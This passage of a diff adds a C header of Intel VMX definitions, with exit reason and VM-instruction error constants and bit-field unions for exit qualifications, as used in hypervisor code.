vmx_basic_exit_reasons \ + * VMX Basic Exit Reasons + * + * VMX Basic Exit Reasons. + * + * @see Vol3D[C(VMX BASIC EXIT REASONS)] (reference) + * @{ + */ + /** + * @brief Exception or non-maskable interrupt (NMI) + * + * Either: + * -# Guest software caused an exception and the bit in the exception bitmap associated with exception's vector was 1. This + * case includes executions of BOUND that cause \#BR, executions of INT1 (they cause \#DB), executions of INT3 (they cause + * \#BP), executions of INTO that cause \#OF, and executions of UD0, UD1, and UD2 (they cause \#UD). + * -# An NMI was delivered to the logical processor and the "NMI exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_EXCEPTION_OR_NMI 0x00000000 + + /** + * @brief External interrupt + * + * An external interrupt arrived and the "external-interrupt exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_EXTERNAL_INTERRUPT 0x00000001 + + /** + * @brief Triple fault + * + * The logical processor encountered an exception while attempting to call the double-fault handler and that exception did + * not itself cause a VM exit due to the exception bitmap. + */ +#define VMX_EXIT_REASON_TRIPLE_FAULT 0x00000002 + + /** + * @brief INIT signal + * + * An INIT signal arrived. + */ +#define VMX_EXIT_REASON_INIT_SIGNAL 0x00000003 + + /** + * @brief Start-up IPI (SIPI) + * + * A SIPI arrived while the logical processor was in the "wait-for-SIPI" state. + */ +#define VMX_EXIT_REASON_STARTUP_IPI 0x00000004 + + /** + * @brief I/O system-management interrupt (SMI) + * + * An SMI arrived immediately after retirement of an I/O instruction and caused an SMM VM exit. + * + * @see Vol3C[34.15.2(SMM VM Exits)] + */ +#define VMX_EXIT_REASON_IO_SMI 0x00000005 + + /** + * @brief Other SMI + * + * An SMI arrived and caused an SMM VM exit but not immediately after retirement of an I/O instruction. + * + * @see Vol3C[34.15.2(SMM VM Exits)] + */ +#define VMX_EXIT_REASON_SMI 0x00000006 + + /** + * @brief Interrupt window exiting + * + * At the beginning of an instruction, RFLAGS.IF was 1; events were not blocked by STI or by MOV SS; and the + * "interrupt-window exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_INTERRUPT_WINDOW 0x00000007 + + /** + * @brief NMI window exiting + * + * At the beginning of an instruction, there was no virtual-NMI blocking; events were not blocked by MOV SS; and the + * "NMI-window exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_NMI_WINDOW 0x00000008 + + /** + * @brief Task switch + * + * Guest software attempted a task switch. + */ +#define VMX_EXIT_REASON_TASK_SWITCH 0x00000009 + + /** + * @brief CPUID + * + * Guest software attempted to execute CPUID. + */ +#define VMX_EXIT_REASON_EXECUTE_CPUID 0x0000000A + + /** + * @brief GETSEC + * + * Guest software attempted to execute GETSEC. + */ +#define VMX_EXIT_REASON_EXECUTE_GETSEC 0x0000000B + + /** + * @brief HLT + * + * Guest software attempted to execute HLT and the "HLT exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_EXECUTE_HLT 0x0000000C + + /** + * @brief INVD + * + * Guest software attempted to execute INVD. + */ +#define VMX_EXIT_REASON_EXECUTE_INVD 0x0000000D + + /** + * @brief INVLPG + * + * Guest software attempted to execute INVLPG and the "INVLPG exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_EXECUTE_INVLPG 0x0000000E + + /** + * @brief RDPMC + * + * Guest software attempted to execute RDPMC and the "RDPMC exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_EXECUTE_RDPMC 0x0000000F + + /** + * @brief RDTSC + * + * Guest software attempted to execute RDTSC and the "RDTSC exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_EXECUTE_RDTSC 0x00000010 + + /** + * @brief RSM in SMM + * + * Guest software attempted to execute RSM in SMM. + */ +#define VMX_EXIT_REASON_EXECUTE_RSM_IN_SMM 0x00000011 + + /** + * @brief VMCALL + * + * VMCALL was executed either by guest software (causing an ordinary VM exit) or by the executive monitor (causing an SMM + * VM exit). + * + * @see Vol3C[34.15.2(SMM VM Exits)] + */ +#define VMX_EXIT_REASON_EXECUTE_VMCALL 0x00000012 + + /** + * @brief VMCLEAR + * + * Guest software attempted to execute VMCLEAR. + */ +#define VMX_EXIT_REASON_EXECUTE_VMCLEAR 0x00000013 + + /** + * @brief VMLAUNCH + * + * Guest software attempted to execute VMLAUNCH. + */ +#define VMX_EXIT_REASON_EXECUTE_VMLAUNCH 0x00000014 + + /** + * @brief VMPTRLD + * + * Guest software attempted to execute VMPTRLD. + */ +#define VMX_EXIT_REASON_EXECUTE_VMPTRLD 0x00000015 + + /** + * @brief VMPTRST + * + * Guest software attempted to execute VMPTRST. + */ +#define VMX_EXIT_REASON_EXECUTE_VMPTRST 0x00000016 + + /** + * @brief VMREAD + * + * Guest software attempted to execute VMREAD. + */ +#define VMX_EXIT_REASON_EXECUTE_VMREAD 0x00000017 + + /** + * @brief VMRESUME + * + * Guest software attempted to execute VMRESUME. + */ +#define VMX_EXIT_REASON_EXECUTE_VMRESUME 0x00000018 + + /** + * @brief VMWRITE + * + * Guest software attempted to execute VMWRITE. + */ +#define VMX_EXIT_REASON_EXECUTE_VMWRITE 0x00000019 + + /** + * @brief VMXOFF + * + * Guest software attempted to execute VMXOFF. + */ +#define VMX_EXIT_REASON_EXECUTE_VMXOFF 0x0000001A + + /** + * @brief VMXON + * + * Guest software attempted to execute VMXON. + */ +#define VMX_EXIT_REASON_EXECUTE_VMXON 0x0000001B + + /** + * @brief Control-register accesses + * + * Guest software attempted to access CR0, CR3, CR4, or CR8 using CLTS, LMSW, or MOV CR and the VM-execution control fields + * indicate that a VM exit should occur. This basic exit reason is not used for trap-like VM exits following executions of + * the MOV to CR8 instruction when the "use TPR shadow" VM-execution control is 1. Such VM exits instead use basic exit + * reason 43. + * + * @see Vol3C[25.1(INSTRUCTIONS THAT CAUSE VM EXITS)] + */ +#define VMX_EXIT_REASON_MOV_CR 0x0000001C + + /** + * @brief Debug-register accesses + * + * Guest software attempted a MOV to or from a debug register and the "MOV-DR exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_MOV_DR 0x0000001D + + /** + * @brief I/O instruction + * + * Guest software attempted to execute an I/O instruction and either: + * -# The "use I/O bitmaps" VM-execution control was 0 and the "unconditional I/O exiting" VM-execution control was 1. + * -# The "use I/O bitmaps" VM-execution control was 1 and a bit in the I/O bitmap associated with one of the ports + * accessed by the I/O instruction was 1. + */ +#define VMX_EXIT_REASON_EXECUTE_IO_INSTRUCTION 0x0000001E + + /** + * @brief RDMSR + * + * Guest software attempted to execute RDMSR and either: + * -# The "use MSR bitmaps" VM-execution control was 0. + * -# The value of RCX is neither in the range 00000000H - 00001FFFH nor in the range C0000000H - C0001FFFH. + * -# The value of RCX was in the range 00000000H - 00001FFFH and the nth bit in read bitmap for low MSRs is 1, where n was + * the value of RCX. + * -# The value of RCX is in the range C0000000H - C0001FFFH and the nth bit in read bitmap for high MSRs is 1, where n is + * the value of RCX & 00001FFFH. + */ +#define VMX_EXIT_REASON_EXECUTE_RDMSR 0x0000001F + + /** + * @brief WRMSR + * + * Guest software attempted to execute WRMSR and either: + * -# The "use MSR bitmaps" VM-execution control was 0. + * -# The value of RCX is neither in the range 00000000H - 00001FFFH nor in the range C0000000H - C0001FFFH. + * -# The value of RCX was in the range 00000000H - 00001FFFH and the nth bit in write bitmap for low MSRs is 1, where n + * was the value of RCX. + * -# The value of RCX is in the range C0000000H - C0001FFFH and the nth bit in write bitmap for high MSRs is 1, where n is + * the value of RCX & 00001FFFH. + */ +#define VMX_EXIT_REASON_EXECUTE_WRMSR 0x00000020 + + /** + * @brief VM-entry failure due to invalid guest state + * + * A VM entry failed one of the checks identified in Section 26.3.1. + */ +#define VMX_EXIT_REASON_ERROR_INVALID_GUEST_STATE 0x00000021 + + /** + * @brief VM-entry failure due to MSR loading + * + * A VM entry failed in an attempt to load MSRs. See Section 26.4. + */ +#define VMX_EXIT_REASON_ERROR_MSR_LOAD 0x00000022 + + /** + * @brief Guest software executed MWAIT + * + * Guest software attempted to execute MWAIT and the "MWAIT exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_EXECUTE_MWAIT 0x00000024 + + /** + * @brief VM-exit due to monitor trap flag + * + * A VM entry occurred due to the 1-setting of the "monitor trap flag" VM-execution control and injection of an MTF VM exit + * as part of VM entry. + * + * @see Vol3C[25.5.2(Monitor Trap Flag)] + */ +#define VMX_EXIT_REASON_MONITOR_TRAP_FLAG 0x00000025 + + /** + * @brief Guest software attempted to execute MONITOR + * + * Guest software attempted to execute MONITOR and the "MONITOR exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_EXECUTE_MONITOR 0x00000027 + + /** + * @brief Guest software attempted to execute PAUSE + * + * Either guest software attempted to execute PAUSE and the "PAUSE exiting" VM-execution control was 1 or the "PAUSE-loop + * exiting" VM-execution control was 1 and guest software executed a PAUSE loop with execution time exceeding PLE_Window. + * + * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] + */ +#define VMX_EXIT_REASON_EXECUTE_PAUSE 0x00000028 + + /** + * @brief VM-entry failure due to machine-check + * + * A machine-check event occurred during VM entry. + * + * @see Vol3C[26.8(MACHINE-CHECK EVENTS DURING VM ENTRY)] + */ +#define VMX_EXIT_REASON_ERROR_MACHINE_CHECK 0x00000029 + + /** + * @brief TPR below threshold + * + * The logical processor determined that the value of bits 7:4 of the byte at offset 080H on the virtual-APIC page was + * below that of the TPR threshold VM-execution control field while the "use TPR shadow" VMexecution control was 1 either + * as part of TPR virtualization or VM entry. + * + * @see Vol3C[29.1.2(TPR Virtualization)] + * @see Vol3C[26.6.7(VM Exits Induced by the TPR Threshold)] + */ +#define VMX_EXIT_REASON_TPR_BELOW_THRESHOLD 0x0000002B + + /** + * @brief APIC access + * + * Guest software attempted to access memory at a physical address on the APIC-access page and the "virtualize APIC + * accesses" VM-execution control was 1. + * + * @see Vol3C[29.4(VIRTUALIZING MEMORY-MAPPED APIC ACCESSES)] + */ +#define VMX_EXIT_REASON_APIC_ACCESS 0x0000002C + + /** + * @brief Virtualized EOI + * + * EOI virtualization was performed for a virtual interrupt whose vector indexed a bit set in the EOIexit bitmap. + */ +#define VMX_EXIT_REASON_VIRTUALIZED_EOI 0x0000002D + + /** + * @brief Access to GDTR or IDTR + * + * Guest software attempted to execute LGDT, LIDT, SGDT, or SIDT and the "descriptor-table exiting" VM-execution control + * was 1. + */ +#define VMX_EXIT_REASON_GDTR_IDTR_ACCESS 0x0000002E + + /** + * @brief Access to LDTR or TR + * + * Guest software attempted to execute LLDT, LTR, SLDT, or STR and the "descriptor-table exiting" VM-execution control was + * 1. + */ +#define VMX_EXIT_REASON_LDTR_TR_ACCESS 0x0000002F + + /** + * @brief EPT violation + * + * An attempt to access memory with a guest-physical address was disallowed by the configuration of the EPT paging + * structures. + */ +#define VMX_EXIT_REASON_EPT_VIOLATION 0x00000030 + + /** + * @brief EPT misconfiguration + * + * An attempt to access memory with a guest-physical address encountered a misconfigured EPT paging-structure entry. + */ +#define VMX_EXIT_REASON_EPT_MISCONFIGURATION 0x00000031 + + /** + * @brief INVEPT + * + * Guest software attempted to execute INVEPT. + */ +#define VMX_EXIT_REASON_EXECUTE_INVEPT 0x00000032 + + /** + * @brief RDTSCP + * + * Guest software attempted to execute RDTSCP and the "enable RDTSCP" and "RDTSC exiting" VM-execution controls were both + * 1. + */ +#define VMX_EXIT_REASON_EXECUTE_RDTSCP 0x00000033 + + /** + * @brief VMX-preemption timer expired + * + * The preemption timer counted down to zero. + */ +#define VMX_EXIT_REASON_VMX_PREEMPTION_TIMER_EXPIRED 0x00000034 + + /** + * @brief INVVPID + * + * Guest software attempted to execute INVVPID. + */ +#define VMX_EXIT_REASON_EXECUTE_INVVPID 0x00000035 + + /** + * @brief WBINVD + * + * Guest software attempted to execute WBINVD and the "WBINVD exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_EXECUTE_WBINVD 0x00000036 + + /** + * @brief XSETBV - Guest software attempted to execute XSETBV + * + * Guest software attempted to execute XSETBV. + */ +#define VMX_EXIT_REASON_EXECUTE_XSETBV 0x00000037 + + /** + * @brief APIC write + * + * Guest software completed a write to the virtual-APIC page that must be virtualized by VMM software. + * + * @see Vol3C[29.4.3.3(APIC-Write VM Exits)] + */ +#define VMX_EXIT_REASON_APIC_WRITE 0x00000038 + + /** + * @brief RDRAND + * + * Guest software attempted to execute RDRAND and the "RDRAND exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_EXECUTE_RDRAND 0x00000039 + + /** + * @brief INVPCID + * + * Guest software attempted to execute INVPCID and the "enable INVPCID" and "INVLPG exiting" VM-execution controls were + * both 1. + */ +#define VMX_EXIT_REASON_EXECUTE_INVPCID 0x0000003A + + /** + * @brief VMFUNC + * + * Guest software invoked a VM function with the VMFUNC instruction and the VM function either was not enabled or generated + * a function-specific condition causing a VM exit. + */ +#define VMX_EXIT_REASON_EXECUTE_VMFUNC 0x0000003B + + /** + * @brief ENCLS + * + * Guest software attempted to execute ENCLS and "enable ENCLS exiting" VM-execution control was 1 and either: + * -# EAX < 63 and the corresponding bit in the ENCLS-exiting bitmap is 1; or + * -# EAX >= 63 and bit 63 in the ENCLS-exiting bitmap is 1. + */ +#define VMX_EXIT_REASON_EXECUTE_ENCLS 0x0000003C + + /** + * @brief RDSEED + * + * Guest software attempted to execute RDSEED and the "RDSEED exiting" VM-execution control was 1. + */ +#define VMX_EXIT_REASON_EXECUTE_RDSEED 0x0000003D + + /** + * @brief Page-modification log full + * + * The processor attempted to create a page-modification log entry and the value of the PML index was not in the range + * 0-511. + */ +#define VMX_EXIT_REASON_PAGE_MODIFICATION_LOG_FULL 0x0000003E + + /** + * @brief XSAVES + * + * Guest software attempted to execute XSAVES, the "enable XSAVES/XRSTORS" was 1, and a bit was set in the logical-AND of + * the following three values: EDX:EAX, the IA32_XSS MSR, and the XSS-exiting bitmap. + */ +#define VMX_EXIT_REASON_EXECUTE_XSAVES 0x0000003F + + /** + * @brief XRSTORS + * + * Guest software attempted to execute XRSTORS, the "enable XSAVES/XRSTORS" was 1, and a bit was set in the logical-AND of + * the following three values: EDX:EAX, the IA32_XSS MSR, and the XSS-exiting bitmap. + */ +#define VMX_EXIT_REASON_EXECUTE_XRSTORS 0x00000040 + /** + * @} + */ + + /** + * @defgroup vmx_instruction_error_numbers \ + * VM-Instruction Error Numbers + * + * VM-Instruction Error Numbers. + * + * @see Vol3C[30.4(VM INSTRUCTION ERROR NUMBERS)] (reference) + * @{ + */ + /** + * VMCALL executed in VMX root operation. + */ +#define VMX_ERROR_VMCALL_IN_VMX_ROOT_OPERATION 0x00000001 + + /** + * VMCLEAR with invalid physical address. + */ +#define VMX_ERROR_VMCLEAR_INVALID_PHYSICAL_ADDRESS 0x00000002 + + /** + * VMCLEAR with VMXON pointer. + */ +#define VMX_ERROR_VMCLEAR_INVALID_VMXON_POINTER 0x00000003 + + /** + * VMLAUNCH with non-clear VMCS. + */ +#define VMX_ERROR_VMLAUCH_NON_CLEAR_VMCS 0x00000004 + + /** + * VMRESUME with non-launched VMCS. + */ +#define VMX_ERROR_VMRESUME_NON_LAUNCHED_VMCS 0x00000005 + + /** + * VMRESUME after VMXOFF (VMXOFF and VMXON between VMLAUNCH and VMRESUME). + */ +#define VMX_ERROR_VMRESUME_AFTER_VMXOFF 0x00000006 + + /** + * VM entry with invalid control field(s). + */ +#define VMX_ERROR_VMENTRY_INVALID_CONTROL_FIELDS 0x00000007 + + /** + * VM entry with invalid host-state field(s). + */ +#define VMX_ERROR_VMENTRY_INVALID_HOST_STATE 0x00000008 + + /** + * VMPTRLD with invalid physical address. + */ +#define VMX_ERROR_VMPTRLD_INVALID_PHYSICAL_ADDRESS 0x00000009 + + /** + * VMPTRLD with VMXON pointer. + */ +#define VMX_ERROR_VMPTRLD_VMXON_POINTER 0x0000000A + + /** + * VMPTRLD with incorrect VMCS revision identifier. + */ +#define VMX_ERROR_VMPTRLD_INCORRECT_VMCS_REVISION_ID 0x0000000B + + /** + * VMREAD/VMWRITE from/to unsupported VMCS component. + */ +#define VMX_ERROR_VMREAD_VMWRITE_INVALID_COMPONENT 0x0000000C + + /** + * VMWRITE to read-only VMCS component. + */ +#define VMX_ERROR_VMWRITE_READONLY_COMPONENT 0x0000000D + + /** + * VMXON executed in VMX root operation. + */ +#define VMX_ERROR_VMXON_IN_VMX_ROOT_OP 0x0000000F + + /** + * VM entry with invalid executive-VMCS pointer. + */ +#define VMX_ERROR_VMENTRY_INVALID_VMCS_EXECUTIVE_POINTER 0x00000010 + + /** + * VM entry with non-launched executive VMCS. + */ +#define VMX_ERROR_VMENTRY_NON_LAUNCHED_EXECUTIVE_VMCS 0x00000011 + + /** + * VM entry with executive-VMCS pointer not VMXON pointer (when attempting to deactivate the dual-monitor treatment of SMIs + * and SMM). + */ +#define VMX_ERROR_VMENTRY_EXECUTIVE_VMCS_PTR 0x00000012 + + /** + * VMCALL with non-clear VMCS (when attempting to activate the dual-monitor treatment of SMIs and SMM). + */ +#define VMX_ERROR_VMCALL_NON_CLEAR_VMCS 0x00000013 + + /** + * VMCALL with invalid VM-exit control fields. + */ +#define VMX_ERROR_VMCALL_INVALID_VMEXIT_FIELDS 0x00000014 + + /** + * VMCALL with incorrect MSEG revision identifier (when attempting to activate the dual-monitor treatment of SMIs and SMM). + */ +#define VMX_ERROR_VMCALL_INVALID_MSEG_REVISION_ID 0x00000016 + + /** + * VMXOFF under dual-monitor treatment of SMIs and SMM. + */ +#define VMX_ERROR_VMXOFF_DUAL_MONITOR 0x00000017 + + /** + * VMCALL with invalid SMM-monitor features (when attempting to activate the dual-monitor treatment of SMIs and SMM). + */ +#define VMX_ERROR_VMCALL_INVALID_SMM_MONITOR 0x00000018 + + /** + * VM entry with invalid VM-execution control fields in executive VMCS (when attempting to return from SMM). + */ +#define VMX_ERROR_VMENTRY_INVALID_VM_EXECUTION_CONTROL 0x00000019 + + /** + * VM entry with events blocked by MOV SS. + */ +#define VMX_ERROR_VMENTRY_MOV_SS 0x0000001A + + /** + * Invalid operand to INVEPT/INVVPID. + */ +#define VMX_ERROR_INVEPT_INVVPID_INVALID_OPERAND 0x0000001C + /** + * @} + */ + + /** + * @defgroup vmx_exceptions \ + * Virtualization Exceptions + * + * Virtualization Exceptions. + * + * @see Vol3C[25.5.6(Virtualization Exceptions)] (reference) + * @{ + */ +typedef struct +{ + /** + * The 32-bit value that would have been saved into the VMCS as an exit reason had a VM exit occurred instead of the + * virtualization exception. For EPT violations, this value is 48 (00000030H). + */ + uint32_t reason; + + /** + * FFFFFFFFH + */ + uint32_t exception_mask; + + /** + * The 64-bit value that would have been saved into the VMCS as an exit qualification had a VM exit occurred instead of the + * virtualization exception. + */ + uint64_t exit; + + /** + * The 64-bit value that would have been saved into the VMCS as a guest-linear address had a VM exit occurred instead of + * the virtualization exception. + */ + uint64_t guest_linear_address; + + /** + * The 64-bit value that would have been saved into the VMCS as a guest-physical address had a VM exit occurred instead of + * the virtualization exception. + */ + uint64_t guest_physical_address; + + /** + * The current 16-bit value of the EPTP index VM-execution control. + * + * @see Vol3C[24.6.18(Controls for Virtualization Exceptions)] + * @see Vol3C[25.5.5.3(EPTP Switching)] + */ + uint16_t current_eptp_index; +} vmx_virtualization_exception_information; + +/** + * @} + */ + + /** + * @defgroup vmx_basic_exit_information \ + * Basic VM-Exit Information + * + * Basic VM-Exit Information. + * + * @see Vol3C[27.2.1(Basic VM-Exit Information)] (reference) + * @{ + */ + /** + * @brief Exit Qualification for Debug Exceptions + */ +typedef union +{ + struct + { + /** + * @brief B0 - B3 + * + * [Bits 3:0] When set, each of these bits indicates that the corresponding breakpoint condition was met. Any of these bits + * may be set even if its corresponding enabling bit in DR7 is not set. + */ + uint64_t breakpoint_condition : 4; +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_BREAKPOINT_CONDITION_BIT 0 +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_BREAKPOINT_CONDITION_FLAG 0x0F +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_BREAKPOINT_CONDITION_MASK 0x0F +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_BREAKPOINT_CONDITION(_) (((_) >> 0) & 0x0F) + uint64_t reserved1 : 9; + + /** + * @brief BD + * + * [Bit 13] When set, this bit indicates that the cause of the debug exception is "debug register access detected." + */ + uint64_t debug_register_access_detected : 1; +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_DEBUG_REGISTER_ACCESS_DETECTED_BIT 13 +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_DEBUG_REGISTER_ACCESS_DETECTED_FLAG 0x2000 +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_DEBUG_REGISTER_ACCESS_DETECTED_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_DEBUG_REGISTER_ACCESS_DETECTED(_) (((_) >> 13) & 0x01) + + /** + * @brief BS + * + * [Bit 14] When set, this bit indicates that the cause of the debug exception is either the execution of a single + * instruction (if RFLAGS.TF = 1 and IA32_DEBUGCTL.BTF = 0) or a taken branch (if RFLAGS.TF = DEBUGCTL.BTF = 1). + */ + uint64_t single_instruction : 1; +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_SINGLE_INSTRUCTION_BIT 14 +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_SINGLE_INSTRUCTION_FLAG 0x4000 +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_SINGLE_INSTRUCTION_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_SINGLE_INSTRUCTION(_) (((_) >> 14) & 0x01) + uint64_t reserved2 : 49; + }; + + uint64_t flags; +} vmx_exit_qualification_debug_exception; + +/** + * @brief Exit Qualification for Task Switch + */ +typedef union +{ + struct + { + /** + * [Bits 15:0] Selector of task-state segment (TSS) to which the guest attempted to switch. + */ + uint64_t selector : 16; +#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SELECTOR_BIT 0 +#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SELECTOR_FLAG 0xFFFF +#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SELECTOR_MASK 0xFFFF +#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SELECTOR(_) (((_) >> 0) & 0xFFFF) + uint64_t reserved1 : 14; + + /** + * [Bits 31:30] Source of task switch initiation. + */ + uint64_t source : 2; +#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SOURCE_BIT 30 +#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SOURCE_FLAG 0xC0000000 +#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SOURCE_MASK 0x03 +#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SOURCE(_) (((_) >> 30) & 0x03) +#define VMX_EXIT_QUALIFICATION_TYPE_CALL_INSTRUCTION 0x00000000 +#define VMX_EXIT_QUALIFICATION_TYPE_IRET_INSTRUCTION 0x00000001 +#define VMX_EXIT_QUALIFICATION_TYPE_JMP_INSTRUCTION 0x00000002 +#define VMX_EXIT_QUALIFICATION_TYPE_TASK_GATE_IN_IDT 0x00000003 + uint64_t reserved2 : 32; + }; + + uint64_t flags; +} vmx_exit_qualification_task_switch; + +/** + * @brief Exit Qualification for Control-Register Accesses + */ +typedef union +{ + struct + { + /** + * [Bits 3:0] Number of control register (0 for CLTS and LMSW). Bit 3 is always 0 on processors that do not support Intel + * 64 architecture as they do not support CR8. + */ + uint64_t control_register : 4; +#define VMX_EXIT_QUALIFICATION_MOV_CR_CONTROL_REGISTER_BIT 0 +#define VMX_EXIT_QUALIFICATION_MOV_CR_CONTROL_REGISTER_FLAG 0x0F +#define VMX_EXIT_QUALIFICATION_MOV_CR_CONTROL_REGISTER_MASK 0x0F +#define VMX_EXIT_QUALIFICATION_MOV_CR_CONTROL_REGISTER(_) (((_) >> 0) & 0x0F) +#define VMX_EXIT_QUALIFICATION_REGISTER_CR0 0x00000000 +#define VMX_EXIT_QUALIFICATION_REGISTER_CR2 0x00000002 +#define VMX_EXIT_QUALIFICATION_REGISTER_CR3 0x00000003 +#define VMX_EXIT_QUALIFICATION_REGISTER_CR4 0x00000004 +#define VMX_EXIT_QUALIFICATION_REGISTER_CR8 0x00000008 + + /** + * [Bits 5:4] Access type. + */ + uint64_t access_type : 2; +#define VMX_EXIT_QUALIFICATION_MOV_CR_ACCESS_TYPE_BIT 4 +#define VMX_EXIT_QUALIFICATION_MOV_CR_ACCESS_TYPE_FLAG 0x30 +#define VMX_EXIT_QUALIFICATION_MOV_CR_ACCESS_TYPE_MASK 0x03 +#define VMX_EXIT_QUALIFICATION_MOV_CR_ACCESS_TYPE(_) (((_) >> 4) & 0x03) +#define VMX_EXIT_QUALIFICATION_ACCESS_MOV_TO_CR 0x00000000 +#define VMX_EXIT_QUALIFICATION_ACCESS_MOV_FROM_CR 0x00000001 +#define VMX_EXIT_QUALIFICATION_ACCESS_CLTS 0x00000002 +#define VMX_EXIT_QUALIFICATION_ACCESS_LMSW 0x00000003 + + /** + * [Bit 6] LMSW operand type. For CLTS and MOV CR, cleared to 0. + */ + uint64_t lmsw_operand_type : 1; +#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_OPERAND_TYPE_BIT 6 +#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_OPERAND_TYPE_FLAG 0x40 +#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_OPERAND_TYPE_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_OPERAND_TYPE(_) (((_) >> 6) & 0x01) +#define VMX_EXIT_QUALIFICATION_LMSW_OP_REGISTER 0x00000000 +#define VMX_EXIT_QUALIFICATION_LMSW_OP_MEMORY 0x00000001 + uint64_t reserved1 : 1; + + /** + * [Bits 11:8] For MOV CR, the general-purpose register. + */ + uint64_t general_purpose_register : 4; +#define VMX_EXIT_QUALIFICATION_MOV_CR_GENERAL_PURPOSE_REGISTER_BIT 8 +#define VMX_EXIT_QUALIFICATION_MOV_CR_GENERAL_PURPOSE_REGISTER_FLAG 0xF00 +#define VMX_EXIT_QUALIFICATION_MOV_CR_GENERAL_PURPOSE_REGISTER_MASK 0x0F +#define VMX_EXIT_QUALIFICATION_MOV_CR_GENERAL_PURPOSE_REGISTER(_) (((_) >> 8) & 0x0F) +#define VMX_EXIT_QUALIFICATION_GENREG_RAX 0x00000000 +#define VMX_EXIT_QUALIFICATION_GENREG_RCX 0x00000001 +#define VMX_EXIT_QUALIFICATION_GENREG_RDX 0x00000002 +#define VMX_EXIT_QUALIFICATION_GENREG_RBX 0x00000003 +#define VMX_EXIT_QUALIFICATION_GENREG_RSP 0x00000004 +#define VMX_EXIT_QUALIFICATION_GENREG_RBP 0x00000005 +#define VMX_EXIT_QUALIFICATION_GENREG_RSI 0x00000006 +#define VMX_EXIT_QUALIFICATION_GENREG_RDI 0x00000007 +#define VMX_EXIT_QUALIFICATION_GENREG_R8 0x00000008 +#define VMX_EXIT_QUALIFICATION_GENREG_R9 0x00000009 +#define VMX_EXIT_QUALIFICATION_GENREG_R10 0x0000000A +#define VMX_EXIT_QUALIFICATION_GENREG_R11 0x0000000B +#define VMX_EXIT_QUALIFICATION_GENREG_R12 0x0000000C +#define VMX_EXIT_QUALIFICATION_GENREG_R13 0x0000000D +#define VMX_EXIT_QUALIFICATION_GENREG_R14 0x0000000E +#define VMX_EXIT_QUALIFICATION_GENREG_R15 0x0000000F + uint64_t reserved2 : 4; + + /** + * [Bits 31:16] For LMSW, the LMSW source data. For CLTS and MOV CR, cleared to 0. + */ + uint64_t lmsw_source_data : 16; +#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_SOURCE_DATA_BIT 16 +#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_SOURCE_DATA_FLAG 0xFFFF0000 +#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_SOURCE_DATA_MASK 0xFFFF +#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_SOURCE_DATA(_) (((_) >> 16) & 0xFFFF) + uint64_t reserved3 : 32; + }; + + uint64_t flags; +} vmx_exit_qualification_mov_cr; + +/** + * @brief Exit Qualification for MOV DR + */ +typedef union +{ + struct + { + /** + * [Bits 2:0] Number of debug register. + */ + uint64_t debug_register : 3; +#define VMX_EXIT_QUALIFICATION_MOV_DR_DEBUG_REGISTER_BIT 0 +#define VMX_EXIT_QUALIFICATION_MOV_DR_DEBUG_REGISTER_FLAG 0x07 +#define VMX_EXIT_QUALIFICATION_MOV_DR_DEBUG_REGISTER_MASK 0x07 +#define VMX_EXIT_QUALIFICATION_MOV_DR_DEBUG_REGISTER(_) (((_) >> 0) & 0x07) +#define VMX_EXIT_QUALIFICATION_REGISTER_DR0 0x00000000 +#define VMX_EXIT_QUALIFICATION_REGISTER_DR1 0x00000001 +#define VMX_EXIT_QUALIFICATION_REGISTER_DR2 0x00000002 +#define VMX_EXIT_QUALIFICATION_REGISTER_DR3 0x00000003 +#define VMX_EXIT_QUALIFICATION_REGISTER_DR6 0x00000006 +#define VMX_EXIT_QUALIFICATION_REGISTER_DR7 0x00000007 + uint64_t reserved1 : 1; + + /** + * [Bit 4] Direction of access (0 = MOV to DR; 1 = MOV from DR). + */ + uint64_t direction_of_access : 1; +#define VMX_EXIT_QUALIFICATION_MOV_DR_DIRECTION_OF_ACCESS_BIT 4 +#define VMX_EXIT_QUALIFICATION_MOV_DR_DIRECTION_OF_ACCESS_FLAG 0x10 +#define VMX_EXIT_QUALIFICATION_MOV_DR_DIRECTION_OF_ACCESS_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_MOV_DR_DIRECTION_OF_ACCESS(_) (((_) 